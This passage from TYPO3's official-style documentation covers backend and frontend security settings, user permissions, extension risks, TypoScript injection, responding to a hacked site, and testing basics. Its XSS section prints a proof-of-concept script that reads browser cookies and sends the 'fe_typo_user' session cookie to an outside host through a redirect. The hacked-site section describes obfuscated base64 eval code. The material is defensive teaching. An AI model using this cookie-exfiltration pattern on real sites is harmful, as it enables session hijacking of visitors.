backend can only be operated from an SSL-encrypted connection (HTTPS). Possible
values are: true, false (boolean) with the following meaning:
false: The backend is not forced to SSL locking at all (default value)
true: The backend requires a secure connection HTTPS.
The PHP variable reads:
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockSSL']
trustedHostsPattern
TYPO3 uses the HTTP header Host: to generate absolute URLs in several
places such as 404 handling, http(s) enforcement, password reset links
and many more. Since the host header itself is provided by the client,
it can be forged to any value, even in a name-based virtual hosts
environment.
The trustedHostsPattern
configuration option can contain either the value SERVER_NAME or a regular
expression pattern that matches all host names that are considered trustworthy
for the particular TYPO3 installation. SERVER_NAME is the default value and
with this option value in effect, TYPO3 checks the currently submitted
host header against the SERVER_NAME variable. Please see security bulletin
TYPO3-CORE-SA-2014-001
for further details about specific setups.
If the Host: header also contains a non-standard port, the
configuration must include this value, too. This is especially important
for the default value SERVER_NAME as provided ports are checked
against SERVER_PORT which fails in some more complex load balancing
or SSL termination scenarios.
The PHP variable reads:
$GLOBALS['TYPO3_CONF_VARS']['SYS']['trustedHostsPattern'] `
warning_email_addr
The email address defined in warning_email_addr will receive notifications, whenever an
attempt to login to the Install Tool is made. TYPO3 will also send a
warning whenever more than three failed backend login attempts
(regardless of the user) are detected within one hour.
The default value is an empty string.
The PHP variable reads:
$GLOBALS['TYPO3_CONF_VARS']['BE']['warning_email_addr']
warning_mode
This setting specifies if emails should
be send to warning_email_addr upon successful backend user
login.
The value in an integer:
0
Do not send notification emails upon backend login (default)
1
Send a notification email every time a backend user logs in
2
Send a notification email every time an admin backend user logs in
The PHP variable reads:
$GLOBALS['TYPO3_CONF_VARS']['BE']['warning_mode']
Security-related warnings after login
A TYPO3 integrator is responsible for the correct configuration of the
TYPO3 system. Usually, an integrator has administrator privileges and
logs in to the backend from time to time or regularly. If a user with
administrator privileges accesses the system, TYPO3 triggers some
basic system checks and shows an error or warning message in a box
right after the login.
These checks are for example: administrator user name and password
(e.g. does the user still use the default password?), Install Tool
password, etc.
If you, as an TYPO3 integrator, should ever come across those
warnings, react immediately and update the appropriate setting (e.g.
change the password).
Reports and logs
Two backend modules in TYPO3 require special attention: Reports
and Log:
The Reports module groups several system reports and gives you a quick
overview about important system statuses and site parameters. From a
security perspective, the section Security should be checked
regularly: it provides information about the administrator user
account, encryption key, file deny pattern, Install Tool and more.
The second important module is the Logs module, which lists system log
entries. The logging of some events depends on the specific
configuration but in general every backend user login/logout, failed
login attempts, etc. appear here. It is recommended to check for
security-related entries (column Errors).
The information shown in these (and other) modules are senseless of
course, in cases where a compromised system was manipulated in the way
that incorrect details pretend the system status is OK.
Users and access privileges
Backend
TYPO3 offers a very sophisticated and complex access concept: you can
define permissions on a user-level, on a group-level, on pages, on
functions, on DB mounts, even on content elements and more. This
concept is possibly a little bit complicated and maybe overwhelming if
you have to configure it for the first time in your integrator life,
but you will soon appreciate the options a lot.
As the first rule, you should grant backend users only a minimal set
of privileges, only to those functions they really need. This will not
only make the backend easier for them to use, but also makes the
system more secure. In most cases, an editor does not need to enter
any PHP, JavaScript or HTML code, so these options should be disabled.
You also should restrict access to pages, DB mounts, file mounts and
functions as much as possible. Note that limiting access to pages by
using DB mounts only is not the best way. In order to really deny
access, page permissions need to be set correctly.
It is always a good approach to set these permissions on a group level
(for example use a group such as "editors"), so you can create
a new user and assign this user to the appropriate group. It is not
necessary to update the access privileges for every user if you want
to adjust something in the future – update the group's
permissions instead.
When creating a new user, do not use generic user names such as
"editor", "webmaster", "cms" or similar. You should use real names
instead (e.g. first name + dot + last name). Always remember the
guidelines for choosing a secure password when
you set a password for a new user or update a password for an existing user
(set a good example and inform the new user about your policies).
If backend users will leave the project at a known date, for example
students or temporary contractors, you should set an expiration date
when you create their accounts. Under certain circumstances, it
possibly makes sense to set this "stop" date for every user in
general, e.g. 6 months in the future. This forces the administrator
team to review the accounts from time to time and only extend the
users that are allowed to continue using the system.
Screenshot showing the screen to set an expiry date for a backend user
Frontend
Access to pages and content in the TYPO3 frontend can be configured with
frontend user groups. Similar suggestions like for backend users also apply here.
There are two special options in addition to frontend user groups:
Hide at login: hide page/content as soon as a user is logged in into the frontend,
no matter which groups he belongs to.
Show at any login: show page/content as soon as a user is logged in.
The option Show at any login should be used with care since it permits access to
any user regardless of it's user groups and storage location. This means that for
multi-site TYPO3 instances users are able to log in to other sites under certain
circumstances.
Thus the correct solution is to always prefer explicit user groups instead of the
Show at any login option.
TYPO3 extensions
As already mentioned above, most of the security issues have been
discovered in TYPO3 extensions, not in the TYPO3 Core . Due to the fact
that everybody can publish an extension in the TYPO3 repository, you
never know how savvy and experienced the programmer is and how the
code was developed from a security perspective.
The following sections deal with extensions in general, the risks and
the basic countermeasures to address security related issues.
Stable and reviewed extensions
Only a small percentage of the extensions available in the TER have
been reviewed by the TYPO3 Security team. This does not imply that
extensions without such an audit are insecure, but they probably have
not been checked for potential security issues by an independent 3rd
party (such as the TYPO3 Security Team).
The status of an extension (alpha, beta, stable, etc.) should
also give you an indication in which state the developer claims the
extension is. However, this classification is an arbitrary setting by
the developer and may not reflect the real status and/or opinions of
independent parties.
Always keep in mind that an extension may not perform the
functionality that it pretends to do: An attacker could write an
extension that contains malicious code or functions and publish it
under a promising name. It is also possible that a well-known,
harmless extension will be used for an attack in the future by
introducing malicious code with an update. In a perfect world, every
updated version would be reviewed and checked, but it is
understandable that this approach is unlikely to be practical in most
installations.
Following the guidelines listed below would improve the level of
security, but the trade-off would be more effort in maintaining your
website and a delay of updating existing extensions, which would
possibly be against the react quickly paradigm.
Thus, it depends on the specific case and project, and the intention
of listing the points below is more to raise the awareness of possible
risks.
Do not install extensions or versions marked as alpha or obsolete:
The developer classified the code as a early version, preview,
prototype, proof-of-concept and/or as not maintained – nothing you
should install on a production site.
Be very careful when using extensions or versions marked as beta:
According to the developer, this version of the extension is still in
development, so it is unlikely that any security-related tests or
reviews have been undertaken so far.
Be careful with extensions and versions marked as stable, but not
reviewed by the TYPO3 Security Team.
TYPO3 extensions (.zip files) are packages, which may contain any kind
of data/files. This can be readable PHP or Javascript source code, as well as
binary files like compiled executables, e.g. Unix/Linux ELF files or Microsoft
Windows .exe files.
Executing these files on a server is a security risk, because it can not
be verified what these files really do (unless they are
reverse-engineered or dissected likewise). Thus it is highly recommended
not to use any TYPO3 extensions, which contain executable binaries.
Binaries should only come from trusted and/or verified sources such as
the vendor of your operating system - which also ensures, these binaries
get updated in a timely manner, if a security vulnerability is
discovered in these components.
Remove unused extensions and other code
TYPO3 distinguishes between "imported" and "loaded" extensions.
Imported extensions exist in the system and are ready to be integrated
into TYPO3 but they are not installed yet. Loaded extensions are
available for being used (or are being used automatically, depending
on their nature), so they are "installed".
A dangerous and loaded extension is able to harm your system in
general because it becomes part of the system (functions are
integrated into the system at runtime). Even extensions which are not
loaded (but only "imported") include a kind of risk because their code
may contain malicious or vulnerable functions which in theory could be
used to attack the system.
As a general rule, it is highly recommended you remove all code from
the system that is not in use. This includes TYPO3 extensions, any
TypoScript (see below), PHP scripts as well as all other functional
components. In regards to TYPO3 extensions, you should remove unused
extensions from the system (not only unload/deinstall them). The
Extension Manager offers an appropriate function for this - an
administrator backend account is required.
Low-level extensions
So called "low-level" extensions provide "questionable" functionality
to a level below what a standard CMS would allow you to access. This
could be for example direct read/write access to the file system or
direct access to the database (see Guidelines for System
Administrators: Database access). If a TYPO3 integrator
or a backend user (e.g. an editor) depends on those extensions, it is most
likely that a misconfiguration of the system exists in general.
TYPO3 extensions like phpMyAdmin, various file browser/manager
extensions, etc. may be a good choice for a development or test
environment but are definitely out of place at production sites.
Extensions that allow editors to include PHP code must be avoided, too.
Check for extension updates regularly
The importance of the knowledge that security updates are available
has been discussed above (see TYPO3 security-bulletins). It is also essential to know how to check for
extension updates: the Extension Manager (EM) is a TYPO3 backend module
accessible for backend users with administrator privileges.
A manual check for extension updates is available in this module.
The EM uses a cached version of the extension list from the TYPO3
Extension Repository (TER) to compare the extensions currently
installed and the latest versions available. Therefore, you should
retrieve an up-to-date version of the extension list from TER before
checking for updates.
If extension updates are available, they are listed together with a
short description of changes (the "upload comment" provided by the
extension developers) and you can download/install the updates if
desired. Please note that under certain circumstances, new versions
may behave differently and a test/review is sometimes useful,
depending on the nature and importance of your TYPO3 instance.
Often a new version of an extension published by the developer is not
security-related.
A scheduler task is available that lets you update the extension list
automatically and periodically (e.g. once a day). In combination with
the task "System Status Update (reports)", it is possible to get a
notification by email when extension updates are available.
Security-related extensions
TYPO3 extensions which are not part of the Core (and so are not
official system extensions) are out of scope of this document, due to
the fact that this Security Guide focuses on a TYPO3 standard setup.
However, there is a wide range of very useful TYPO3 extensions
available in the TYPO3 Extension Repository (TER) which increase the
level of security and/or support system administrators and TYPO3
integrators to monitor their TYPO3 installations, check for
security-related issues, access additional reports and be notified in
various ways.
Searching for relevant keywords such as "security", "monitoring" or a
specific technology (e.g. "intrusion detection") or a security threat
(e.g. "XSS", "SQL injection") or similar shows some results, which
could be reviewed and tested.
Please note that these extensions are often not developed/maintained
by TYPO3 Core developers and the code quality may vary. Also, check
for extensions reviewed by the Security Team and the date of the last
update.
TypoScript
SQL injection
The CWE/SANS list of top 25 most dangerous software
errors ranks "SQL injection" first! The TYPO3 Security Team comes across this security
vulnerability in TYPO3 extensions over and over again.
But TYPO3 integrators (and everyone who writes code using TypoScript) should be
warned that due to the sophistication of TYPO3's configuration
language, SQL injections are also possible in TypoScript, for example
using the CONTENT content object and building
the SQL query with values from the GET/POST request.
As a rule, you cannot trust (and must not use) any data from a source
you do not control without proper verification and validation (e.g.
user input, other servers, etc.).
Cross-site scripting (XSS)
Similar applies for XSS placed in TypoScript code. The following code
snippet gives an example:
page = PAGE
page.10 = COA
page.10 {
10 = TEXT10.value (
<h1>XSS + TypoScript - proof of concept</h1>
<p>Submitting (harmless) cookie data to google.com in a few seconds...</p>
)
20 = TEXT20.value (
<script type="text/javascript">
document.write('<p>');
// read cookies
var i, key, data, cookies = document.cookie.split(";");
var loc = window.location;
for (i = 0; i < cookies.length; i++) {
// separate key and value
key = cookies[i].substr(0, cookies[i].indexOf("="));
data = cookies[i].substr(cookies[i].indexOf("=") + 1);
key = key.replace(/^\s+|\s+$/g,"");
// show key and value
document.write(unescape(key) + ': ' + unescape(data) + '<br />');
// submit cookie data to another host
if (key == 'fe_typo_user') {
setTimeout(function() {
loc = 'https://www.google.com/?q=' + loc.hostname ;
window.location = loc + ':' + unescape(key) + ':' + unescape(data);
}, 5000);
}
}
document.write('</p>');
</script>
)
}
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TYPO3 outputs the JavaScript code in
page.10.20.value on the page.
The script is executed on the client side (in the user's browser), reads
and displays all cookie name/value pairs. In the case that a cookie
named fe_typo_user exists, the cookie value will be passed to
google.com, together with some extra data.
This code snippet is harmless of course but it shows how malicious
code (e.g. JavaScript) can be placed in the HTML content of a page by
using TypoScript.
Clickjacking
Clickjacking is an attack scenario where an attacker tricks a web
user into clicking on a button or following a link different from what
the user believes he/she is clicking on. Please see
clickjacking for further details.
It may be beneficial to include a HTTP header X-Frame-Options on
frontend pages to protect the TYPO3 website against this attack vector.
Please consult with your system administrator about pros and cons of
this configuration.
The following TypoScript adds the appropriate line to the HTTP header:
The TypoScript property
integrity
allows integrators to specify a SRI hash in order to allow a verification
of the integrity of externally hosted JavaScript files. SRI (Sub-Resource Integrity) is a
W3C specification that allows web developers to ensure
that resources hosted on third-party servers have not been tampered with.
The TypoScript property can be used for the following PAGE properties:
In many cases, it makes perfect sense to include JavaScript libraries, which are
externally hosted. Like the example above, many libraries are hosted by CDN
providers (Content Delivery Network) from an external resource rather than the
own server or hosting infrastructure. This approach reduces the load and traffic
of your own server and may speed up the loading time for your end-users, in
particular if well-known libraries are used.
However, JavaScript libraries of any kind and nature, for example feedback,
comment or discussion forums, as well as user tracking, statistics, additional
features, etc. which are hosted somewhere, can be compromised, too.
If you include a JavaScript library that is hosted under
https://example.org/js/feedback.js and the systems of operator of
example.org are compromised, your site and your site visitors are under
risk, too.
JavaScript running in the browser of your end-users is able to intercept any
input, for example sensitive data such as personal details, credit card numbers,
etc. From a security perspective, it it recommended to either not to use
externally hosted JavaScript files or to only include them on pages, where
necessary. On pages, where users enter data, they should be removed.
Content elements
Warning
The information on this page is outdated!
Besides the low-level extensions, there
are also system-internal functions available which could allow the insertion of
raw HTML code on pages: the content element "Plain HTML" and the Rich
Text Editor (RTE).
A properly configured TYPO3 system does not require editors to have
any programming or HTML/CSS/JavaScript knowledge and therefore the
"raw HTML code" content element is not really necessary. Besides this
fact, raw code means, editors are also able to enter malicious or
dangerous code such as JavaScript that may harm the website visitor's
browser or system.
Even if editors do not insert malicious code intentionally, sometimes
the lack of knowledge, expertise or security awareness could put your
website at risk.
Depending on the configuration of the Rich Text Editor (RTE), it is
also possible to enter raw code in the text mode of the RTE. Given the
fact that HTML/CSS/JavaScript knowledge is not required, you should
consider disabling the function by configuring the buttons shown in
the RTE. The page TSconfig enables you to
list all buttons visible in the RTE by using the following TypoScript:
In order to disable the button "toggle text mode", add "chMode" to the
hideButtons list. The TSconfig/RTE (Rich Text Editor) documentation
provide further details about configuration options.
Security guidelines for editors
While editors typically do not handle technical setup, their habits and
awareness directly affect the security of the system.
Typically, a software development company or web design agency
develops the initial TYPO3 website for the client. After the delivery,
approval and training, the client is able to edit the content and
takes the role of an editor. All technical administration, maintenance
and update tasks often stay at the developer as the provider of the
system. This may vary depending on the relation and contracts between
developer and client of course.
Editors are predominantly responsible for the content of the website.
They log in to the backend of TYPO3 (the administration interface)
using their username and password. Editors add, update and remove
pages as well as content on pages. They upload files such as images or
PDF documents, create internal and external links and add/edit
multimedia elements. The terminology "content" applies to all editable
texts, images, tables, lists, possibly forms, etc. Editors sometimes
translate existing content into different languages and prepare and/or
publish news.
Depending on the complexity and setup of the website, editors possibly
work in specific "workspaces" (e.g. a draft workspace) with or without
the option to publish the changes to the "live" site. It is not
required for an editor to see the entire page tree and some areas of
the website are often not accessible and not writable for editors.
Advanced tasks of editors are for example the compilation and
publishing of newsletters, the maintenance of frontend user records
and/or export of data (e.g. online shop orders).
Editors usually do not change the layout of the website, they do not
set up the system, new backend user accounts, new site functionality
(for example, they do not install, update or remove extensions), they
do not need to have programming, database or HTML knowledge and they
do not configure the TYPO3 instance by changing TypoScript code or templates.
General rules
The General Guidelines also apply to editors
– especially the section "Secure passwords" and "Operating system and browser version".
Due to the fact that editors do not change the configuration of the
system, there are only a few things editors should be aware of. As a
general rule, you should contact the person, team or agency who/which
is responsible for the system (usually the provider of the TYPO3
instance, a TYPO3 integrator or system administrator) if you determine
a system setup that does not match with the guidelines described here.
Backend access
Username
Generic usernames such as "editor", "webmaster", "cms" or similar are
not recommended. Shared user accounts are not recommended either:
every person should have its own login (e.g. as first name + dot +
last name). The maximum number of backend user accounts is not artificially
limited in TYPO3 and they should not add additional costs.
Password
Please read the chapter about secure passwords.
If your current TYPO3 password does not match the rules explained above, change your
password to a secure one as soon as possible. You should be able to
change your password in the User settings menu, reachable by clicking on your
user name in the top bar:
The User Settings screen, where you can change your password
Administrator privileges
If you are an editor for a TYPO3 website (and not a system
administrator or integrator), you should ensure that you do not have
administrator privileges. Some TYPO3 providers fear the effort to
create a proper editor account, because it involves quite a number of
additional configuration steps. If you, as an editor, should have an
account with administrator privileges, it is often an indication of a
misconfiguration.
As an indicator, if you see a Template entry under the WebModule menu or a section Admin Tools,
you definitely have the wrong permissions as an editor and you
should get in touch with the system provider to solve this issue.
Screenshot of a menu with the section "Admin Tools"
Notify at login
TYPO3 offers the feature to notify backend users by email, when
somebody logs in from your account. If you set this option in your
user settings, you will receive an email from TYPO3 each time you (or
"someone") logs in using your login details. Receiving such a
notification is an additional security measure because you will know
if someone else picked up your password and uses your account.
The User Settings screen, with the Notify me... checkbox
Assuming you have activated this feature and you got a notification
email but you have not logged in and you suspect that someone misuses
your credentials, get in touch with the person or company who hosts
and/or administrates the TYPO3 site immediately. You should discuss
the situation and the next steps, possibly to change the password as
soon as possible.
Lock to IP address(es)
Some TYPO3 instances are maintained by a selected group of editors who
only work from a specific IP range or (in an ideal world) from one
specific IP address only – an office network with a static public IP
address is a typical example.
In this case, it is recommended to lock down user accounts to
these/this address(es) only, which would block any login attempt from
someone coming from an unauthorized IP address.
Implementing this additional login limitation is the responsibility of
the person or company who hosts and/or administers the TYPO3 site.
Discuss the options with them.
Restriction to required functions
Some people believe that having more access privileges in a system is
better than having essential privileges only. This is not true from a
security perspective due to several reasons. Every additional
privilege introduces not only new risks to the system but also requires
more responsibility as well as security awareness from the user.
In most cases editors should prefer having access to functions and
parts of the website they really need to have and therefore you, as an
editor, should insist on correct and restricted access permissions.
Similar to the explanations above: too extensive and unnecessary
privileges are an indication of a badly configured system and
sometimes a lack of professionalism of the system administrator,
hosting provider or TYPO3 integrator.
Secure connection
You should always use the secure, encrypted connection between your computer
and the TYPO3 backend. This is done by using the prefix https:// instead of
http:// at the beginning of the website address (URL). Nowadays, both the TYPO3
backend and frontend should be always - and exclusively - accessible via
https:// only and invalid certificates are no longer acceptable. Please clarify
with the system administrator if no encrypted connection is available.
Under specific circumstances, a secure connection is technically
possible but an invalid SSL certificate causes a warning message. In
this case you may want to check the details of the certificate and let
the hosting provider fix this.
Logout
When you finished your work as an editor in TYPO3, make sure to
explicitly logout from the system. This is very important if you are
sharing the computer with other people, such as colleagues, or if you
use a public computer in a library, hotel lobby or internet café. As
an additional security measure, you may want to clear the browser
cache and cookies after you have logged out and close the browser
software.
In the standard configuration of TYPO3 you will automatically be
logged out after 8 hour of inactivity or when you access TYPO3 with
a different IP address.
How to detect, analyze, and recover a hacked site
If your TYPO3 site has been hacked, simply restoring a backup is not enough.
You must determine how the breach happened and take steps to prevent it
from recurring.
This chapter provides a structured response plan, including detection,
containment, investigation, and recovery. These actions help limit damage
and improve future resilience.
Typical signs which could indicate that a website or the server was
hacked are listed below. Please note that these are common situations
and examples only, others have been seen. Even if you are the victim
of one of them only, it does not mean that the attacker has not gained
more access or further damage (e.g. stolen user details) has been
done.
Manipulated frontpage
One of the most obvious "hacks" are manipulated landing or home page
or other pages. Someone who has compromised a system and just wants to
be honored for his/her achievement, often replaces a page (typically
the home page as it is usually the first entry point for most of the
visitors) with other content, e.g. stating his/her nickname or
similar.
Less obvious is manipulated page content that is only visible to
specific IP addresses, browsers (or other user agents), at specific
date times, etc. It depends on the nature and purpose of the hack but
in this case usually an attacker tries either to target specific users
or to palm keywords/content off on search engines (to manipulate a
ranking for example). In addition, this might obscure the hack and
makes it less obvious, because not everybody actually sees it.
Therefore, it is not sufficient to just check the generated output
because it is possible that the malicious code is not visible at a
quick glance.
Malicious code in the HTML source
Malicious code (e.g. JavaScript, iframes, etc.) placed in the HTML
source code (the code that the system sends to the clients) may lead
to XSS attacks, display dubious content or redirect visitors to other
websites. Latter could steal user data if the site which the user was
redirected to convinces users to enter their access details (e.g. if
it looks the same as or similar to your site).
Unknown embedded elements (e.g. binary files) in the content of the
website, which are offered to website visitors to download (and maybe
execute), and do not come from you or your editors, are more than
suspicious. A hacker possibly has placed harmful files (e.g. virus-
infected software) on your site, hoping your visitors trust you and
download/execute these files.
A significant unusual, unexpected increase of traffic may be an
indication that the website was compromised and large files have been
placed on the server, which are linked from forums or other sites to
distribute illegal downloads. Increased traffic of outgoing mail could
indicate that the system is used for sending "spam" mail.
The other extreme, a dramatic and sudden decrease of traffic, could
also be a sign of a hacked website. In the case where search engines
or browsers warn users that "this site may harm your computer", they
stay away.
In a nutshell, it is recommended that you monitor your website and
server traffic in general. Significant changes in this traffic
behavior should definitely make you investigating the cause.
Reports from visitors or users
If visitors or users report that they get viruses from browsing
through your site, or that their anti-virus software raises an alarm
when accessing it, you should immediately check this incident. Keep in
mind that under certain circumstances the manipulated content might
not be visible to you if you just check the generated output - see
explanations above.
Search engines or browsers warn about your site
Google, Yahoo and other search engines have implemented a warning
system showing if a website content has been detected as containing
harmful code and/or malicious software (so called "malware" that
includes computer viruses, worms, trojan horses, spyware, dishonest
adware, scareware, crimeware, rootkits, and other malicious and
unwanted software).
One example for such a warning system is Google's "Safe Browsing
Database". This database is also used by various browsers.
Leaked credentials
One of the "hacks" most difficult to detect is the case where a hacker
gained access to a perfectly configured and secured TYPO3 site. In
previous chapters we discussed how important it is to use secure
passwords, not to use unencrypted connections, not to store backups
(e.g. MySQL database "dumpfiles") in a publicly accessible directory,
etc. All these examples could lead to the result that access details
fall into the hands of an attacker, who possibly uses them, simply
logs into your system and edits some pages as a usual editor.
Depending on how sophisticated, tricky, small and frequently the
changes are and how large the TYPO3 system is (e.g. how many editors
and pages are active), it may take a long time to realize that this is
actually a hack and possibly takes much longer to find the cause,
simply because there is no technical issue but maybe an organizational
vulnerability.
The combination of some of the recommendations in this document
reduces the risk (e.g. locking backend users to specific IP addresses,
store your backup files outside the web server's document root, etc.).
Take the website offline
Assuming you have detected that your site has been hacked, you should
take it offline for the duration of the analysis and restoration
process (the explanations below). This can be done in various ways and
it may be necessary to perform more than one of the following tasks:
route the domain(s) to a different server
deactivate the web host and show a "maintenance" note
disable the web server such as Apache (keep in mind that shutting down
a web server on a system that serves virtual hosts will make all sites
inaccessible)
disconnect the server from the Internet or block access from and to
the server (firewall rules)
There are many reasons why it is important to take the whole site or
server offline: In the case where the hacked site is used for
distributing malicious software, a visitor who gets attacked by a
virus from your site, will most likely lose the trust in your site and
your services. A visitor who simply finds your site offline (or in
"maintenance mode") for a while will (or at least might) come back
later.
Another reason is that as long as the security vulnerability exists in
your website or server, the system remains vulnerable, meaning that
the attacker could continue harming the system, possibly causing more
damage, while you're trying to repair it. Sometimes the "attacker" is
an automated script or program, not a human.
After the website or server is not accessible from outside, you should
consider to make a full backup of the server, including all available
log files (Apache log, FTP log, SSH log, MySQL log, system log). This
will preserve data for a detailed analysis of the attack and allows
you (and/or maybe others) to investigate the system separated from the
"live" environment.
Today, more and more servers are virtual machines, not physical
hardware. This often makes creating a full backup of a virtual server
very easy because system administrators or hosting providers can
simply copy the image file.
Analyzing a hacked site
In most cases, attackers are adding malicious code to the files on
your server. All files that have code injected need to be cleaned or
restored from the original files. Sometimes it is obvious if an
attacker manipulated a file and placed harmful code in it. The date
and time of the last modification of the file could indicate that an
unusual change has been made and the purpose of the new or changed
code is clear.
In many cases, attackers insert code in files such as index.php or
index.html that are found in the root of your website. Doing so, the
attacker makes sure that his code will be executed every time the
website is loaded. The code is often found at the beginning or end of
the file. If you find such code, you may want to do a full search of
the content of all files on your hard disk(s) for similar patterns.
However, attackers often try to obscure their actions or the malicious
code. An example could look like the following line:
Where the hieroglyphic string "dW5saW5rKCd0ZXN0LnBocCcpOw==" contains
the PHP command
unlink('test.php'); (base64 encoded), which deletes
the file test.php when executed by the PHP function
eval()`.
This is a simple example only and more sophisticated obscurity strategies
are imaginable.
Other scenarios also show that PHP or JavaScript Code has been
injected in normal CSS files. In order that the code in those files
will be executed on the server (rather than just being sent to the
browser), modifications of the server configuration are made. This
could be done through settings in an .htaccess file or in the
configuration files (such as httpd.conf) of the server. Therefore
these files need to be checked for modifications, too.
As described above, fixing these manipulated files is not sufficient.
It is absolutely necessary that you learn which vulnerability the
attacker exploited and to fix it. Check log files and other components
on your system which could be affected, too.
If you have any proof or a reasonable ground for suspecting that TYPO3
or an extension could be the cause, and no security-bulletin lists
this specific version, please contact the TYPO3 Security Team. The policy dictates not to disclose the issue
in public (mailing lists, forums, Twitter or any other 3rd party website).
Repair/restore
When you know what the problem was and how the attacker gained access
to your system, double check if there are no other security
vulnerabilities. Then, you may want to either repair the
infected/modified/deleted files or choose to make a full restore from
a backup (you need to make sure that you are using a backup that has
been made before the attack). Using a full restore from backup has the
advantage, that the website is returned to a state where the data has
been intact. Fixing only individual files bears the risk that some
malicious code may be overlooked.
Again: it is not enough to fix the files or restore the website from a
backup. You need to locate the entry point that the attacker has used
to gain access to your system. If this is not found (and fixed!), it
will be only a matter of time, until the website is hacked again.
So called "backdoors" are another important thing you should keep in
mind: if an attacker had access to your site, it is possible and common
practise that it implemented a way to gain unauthorized access to
the system at a later time (again). Even if the original security
vulnerability has been fixed (entry point secured), all passwords
changed, etc., such a backdoor could be as simple as a new backend user
account with an unsuspicious user name (and maybe administrator
privileges) or a PHP file hidden somewhere deep in the file system,
which contains some cryptic code to obscure its malicious purpose.
Assuming all "infected" files have been cleaned and the vulnerability
has been fixed, make sure to take corrective actions to prevent
further attacks. This could be a combination of software updates,
changes in access rights, firewall settings, policies for log file
analysis, the implementation of an intrusion detection system, etc. A
system that has been compromised once should be carefully monitored in
the following months for any signs of new attacks.
Further actions
Given the fact that the TYPO3 site is now working again, is clean and
that the security hole has been identified and fixed, you can switch
the website back online. However, there are some further things to do
or to consider:
change (all) passwords and other access details
review situation: determine impact of the attack and degree of damage
possibly notify your hosting provider
possibly notify users (maybe clients), business partners, etc.
possibly take further legal steps (or ask for legal advice from
professionals)
Depending on the nature of the hack, the consequences can be as
minimal as a beautifully "decorated" home page or as extensive as
stolen email addresses, passwords, names, addresses and credit card
details of users. In most cases, you should definitely not trifle with
your reputation and you should not conceal the fact that your site has
been hacked.
Testing
In TYPO3, we're taking testing serious: When the Core Team releases a new TYPO3 version, they want
to make sure it does not come with evil regressions (things that worked and stop working after update).
This is especially true for patch level releases. There are various measures to ensure the system does not
break: The patch review process is one, testing is another important part and there is more. With the
high flexibility of the system it's hard to test "everything" manually, though. The TYPO3 Core thus has
a long history of automatic testing - some important steps are outlined in a dedicated chapter below.
With the continued improvements in this area an own testing framework has been established over the
years that is not only used by the TYPO3 Core, but can be used by extension developers or entire
TYPO3 projects as well.
This chapter goes into details about automatic testing: Writing, maintaining and running them in
various scopes. Have fun.
When developing TYPO3 extensions, testing can greatly improve the code quality.
In theory you can test your extension like any other PHP application
and extensions. There are however some conventions that make contribution and
collaboration easier. And there are some tools that should make your life
maintaining an extension easier.
Which tools to use and which rules to apply is highly opinionated. However,
having automatic tests is better than no automatic tests, no matter the strategy
you follow.
The following test strategies should be applied to improve your code quality.
A linting test ensures that the syntax of the language used is correct.
In TYPO3 extensions the following languages are commonly linted:
PHP in the supported versions
TypoScript
YAML
JavaScript / TypeScript
Depending on your extension, any other file format can be linted
too, if there is tooling for that (for example validating XML files
against a XSD schema).
Coding guidelines (CGL)
If more than one person is working on code, coding guideline are a must-have.
No matter which tool you use or which rules you choose to apply, it is important
that the rules can be applied automatically.
Static code analysis tools are highly recommended to be used with PHP. The most
common tools used are PHPStan and Psalm. No matter the tool you use or the
rules and levels you apply: You should use one.
There are also static code analysis tools for TypeScript and JavaScript.
Unit tests
Unit tests are executing the code to be tested and define input and their
expected outcome. They are run on an isolated classes or methods.
All relations and services such as database calls, API and curl call must
be mocked. Not full instance setup is available. Therefore
Dependency injection, the database,
configurations and settings and everything done during
Bootstrapping is not available.
Note
Rule of dumb: Unit tests are isolated tests not using real services.
Functional tests, like Unit tests, also execute the code to be tested.
Functional test execute the test code within a fully composed TYPO3
instance (non-composer mode) with configured extensions and configuration,
having full dependency and extension logic
on board and Database backend available.
For this, the
TYPO3 Testing Framework
is highly recommended, and performs task like filling the database with
test data (using fixtures) and activating specific Core or third party
extensions (and yours). And, if needed, a backend or frontend user can be
logged in.
A functional test will then test the output of a method or if a method changes
certain other things like the database or the file system. It can also
test more complex functionality of your extension that depends on the
TYPO3 environment being present.
Acceptance testing in the TYPO3 world is about piloting (remote controlling) a
browser to click through a frontend generated by TYPO3 or clicking through
scenarios in the TYPO3 backend.
Projects usually needs to support only one PHP version, Database vendor
and version and TYPO3 core version
Version raises for upgrades are usually prepared on a branch and changed
instead of parallel execution.
Project may have different places for tests
local path extension tests packages/*/Tests/*
global (root) tests Tests/*
The Core mono repository is basically a project setup, having local path
extensions in typo3/sysexts/* instead of the more known and lived packages/*
project folder structure.
Project structure
We assume a project structure similar to tf-basics-project
here. If you are using another structure, you have to adjust some scripts.
You can install all these tools as development dependencies. They will then not
be installed on your production system when Composer is executed with option
--no-dev during deployment:
We suggest to keep all project level test configuration in a common place that
can be excluded from deployment. The Core uses a folder called Build with
one folder per test-type and we will follow that scheme here. If you put
the configuration in other directories, adjust your configuration files
accordingly.
It is recommended to also copy the .editorconfig from the testing
framework into your main directory so that your IDE applies the same formatting
as the php-cs-fixer.
PHPstan - Static PHP analysis
When configuring PHPstan the various places in which PHP files can be found
should be taken into consideration:
TYPO3 unit testing means using the phpunit testing
framework. The TYPO3 testing framework comes with
a basic UnitTests.xml
file that can be used by Core and extensions. This references a phpunit bootstrap file so
phpunit does find our main classes. Apart from that, there are little conventions: Tests for some "system under test"
class in the Classes/ folder should be located at the same position within the Test/Unit
folder having the additional suffix Test.php to the system under test file name. The class of the
test file should extend the basic unit test abstract
\TYPO3\TestingFramework\Core\Unit\UnitTestCase. Single
tests should be named starting with the method that is tested plus some explaining suffix and should
be annotated with
@test.
Example for a system under test located at typo3/sysext/core/Utility/ArrayUtility.php (stripped):
This way it is easy to find unit tests for any given file. Note PhpStorm understands this structure and
can jump from a file to the according test file by hitting CTRL+Shift+T.
Extending UnitTestCase
Extending a unit test from class
\TYPO3\TestingFramework\Core\Unit\UnitTestCase of the
typo3/testing-framework package instead of the native phpunit class
\PHPUnit\Framework\TestCase
adds some functionality on top of phpunit:
Environment backup: If a unit test has to fiddle with the Environment class, setting
property
$backupEnvironment to
true instructs the unit test to reset the state after each call.
If a system under test creates instances of classes implementing
SingletonInterface, setting
property
$resetSingletonInstances to
true instructs the unit test to reset internal
GeneralUtility scope after each test.
tearDown() will fail if there are dangling singletons,
otherwise.
Adding files or directories to array property
$testFilesToDelete instructs the test to delete
certain files or entire directories that have been created by unit tests. This property is useful
to keep the system clean.
A generic
tearDown() method: That method is designed to test for TYPO3 specific global state changes
and to let a unit test fail if it does not take care of these. For instance, if a unit tests add a singleton
